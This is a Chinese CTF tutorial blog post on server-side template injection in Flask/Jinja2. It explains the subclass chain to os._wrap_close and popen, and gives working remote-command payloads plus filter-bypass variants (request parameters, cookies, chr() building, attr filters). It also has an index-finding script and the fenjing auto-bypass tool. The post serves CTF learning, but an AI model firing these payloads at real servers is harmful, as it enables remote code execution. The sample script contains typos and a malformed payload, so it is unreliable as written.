SSTI知识点汇总
以前写BaseCTFweek3的web时总结过一次,这里系统的再重写一遍
什么是SSTI?
SSTI是一种发生在服务器端模板中的漏洞。当用户的输入返回时会经过一个模板渲染,SSTI漏洞就是恶意用户插入了可以破坏模板的语句,导致了敏感信息泄露、rce等问题。
服务器的模板又很多种,不同的语言会有不同的模板框架。
所以SSTI并不只有一种方式,我们平常多遇到的是python的模板
SSTI的形成原因
其实成因很简单,就是写后端代码的程序员偷懒,用render_template_string解析字符串代替了render_template的渲染。
做题的时候可以通过wapplayzer插件,查看框架和语言,一般是Flask和Python的话就是ssti没跑了
SSTI的具体实现方法
这里以python的模板为例
在这些框架中存在很多类,包括可以做到RCE的类。
所以我们的目标就是要通过模板操作到可以进行RCE的类
那么我们输入什么才会被当成模板注入呢?
因为模板渲染的时候会把"{ {}}"包裹的内容当做变量解析替换。比如,{ {2*2}}会被解析成4所以,我们需要用 { {恶意代码}} 的形式来进行SSTI
(所以{ {2*2}}也被用作检测SSTI漏洞的方法)
接下来就是SSTI的具体实现方法了
这里借用一下我之前写过的博客BaseCTF_web_week3-CSDN博客
这里是一些魔术方法
__class__ :返回类型所属的对象。
__base__ :返回该对象所继承的父类
__mro__ :返回该对象的所有父类
__subclasses__() 获取当前类的所有子类
__init__ 类的初始化方法
__globals__ 对包含(保存)函数全局变量的字典的引用
假设我们知道一个当前类,通过__class__返回对象,然后用__mro__或者__base__返回父类,直到父类为object类(所有的类都是object类的子类),再用__sublasses__返回所有的子类,这样就能找到存在rce的类啦!
以下是一些当前类的表示方式
''.__class__
().__class__
[].__class__
"".__class__
{}.__class__
(ctfshow_web361)
所以我们可以构造{ {''.__class__.__base__.__subclasses__}}查看所有类
可以进行rce的类是——"os._wrap_close",所以我们需要找到这个类的序号
可以复制粘贴去记事本,搜索os._wrap_close一下具体的位置(一般在130多)我这里是132
也可以用这个脚本,记得改一下pyload和url
import requests
url =input('请输入URL链接:)
for i in range(500):
data ={"name":
"{{O)._class_._base_.__subclasses_()["+str(i)+"]._init_._globals_['__builtins_1}}"]
try:
response = requests.posf(url,data=data)
#print(response.text)
if response.status_code == 200:if 'popen' in response.text:print(i)
except:
pass
之后用__init__初始化这个类,用__globals__寻找popen函数后可以直接命令执行,记得最后要加一个read()
构造
?name={
{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat%20/flag').read()}}
这个格式稍微要记一下,目前只知道可以用os._wrap_close的popen
popen后的括号里直接写命令,不需要system
这样我们就成功通过SSTI漏洞进行RCE了
SSTI的绕过姿势
上面上述的是最最基本的一种实现方法,现在是一些绕过手法
绕过数字
上述pyload用到了132,ban了数字之后我们有两种解决方案
1.是采用另一种pylaod
{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
采用了builtins模块,比用os_wrap_close更加方便
2.采用全角数字
0123456789(不知道原理)
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
用request绕过
request可以获得请求的相关信息,通过这个特性可以做到绕过(其实用''也可以做到绕过)
例如
{{''.__class__}} ==> {{''[request.args.t1]}}&t1=__class__
__class__ ==> _''_cla''ss_''_
过滤 ' '
拿之前讲过的__builtins__举例
{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
如果ban了'',就说明__builtins__和__import__的使用会被限制,这里就可以用request.args.x(x为get的参数)来避免''被检测到
pyload如下
{{a.__init__.__globals__[request.args.x].eval(request.args.y)}}&x=__builtins__&y=__import__("os").popen("cat /flag").read()
同理,也可以用于绕过其他字符
值得一提的是,如果args被ban了,request.args.x可以替换成request['values']['x']的形式
如果这时 ' ' 也被ban了,可以用request.cookies.x代替,不过上传参数要传在cookie中
(注意cookies这里需要加 ; )
chr()拼接解决request被ban
可以用chr()拼接,可是我们不能直接使用chr(),要用之前的方法通过继承链走到chr()
一些chr()的构造方式
"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr (x为任意值)
然后用字符串chr接收,之后就可以用chr()函数了
BaseCTF week4 复读机wp(为了观感把绕过用的''去掉了)
{% set chr= ''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['__builtins__']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['popen'](cmd)['read']())%}
. 绕过
可以用atter()绕过,也可以用[ ]绕过(这里不做展示)
|attr("__class__")就相当于.__class__
可以借鉴一下这个pyload
{{lipsum|attr("__globals__")|attr("get")("os")|attr("popen")("whoami")|attr("read")()}}
这里这个pyload是改自
{{lipsum._globals_.get("os").popen('whoami').read()}}
这里值得注意的是(不用get)
{{lipsum._globals_.os.popen('whoami').read()}}是成立的
但是,
{{lipsum|attr("__globals__")|attr("get")("os")|attr("popen")("whoami")|attr("read")()}}
如果不加get,就会失败
{{绕过
不能用{{}},可以用{%%}代替,不过{%%}没有显示,要加一个print
SSTI终极工具——fenjing
全自动化绕过,只需要直接执行命令即可(仅支持http)
kali中安装
pip install fenjing
使用
python -m fenjing scan --url 'http://...'
打开网站ui
python -m fenjing webui
讲的比较简单建议看下方文章
Fenjing 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 - 🔰雨苁ℒ🔰
不过工具归工具,还是要有一些硬实力的,也遇到过fenjing找不出漏洞点的情况
小结
忙前忙后总算写完了这篇博客,还有很多绕过姿势没讲,不过有了fenjing,更加难的绕过应该都能迎刃而解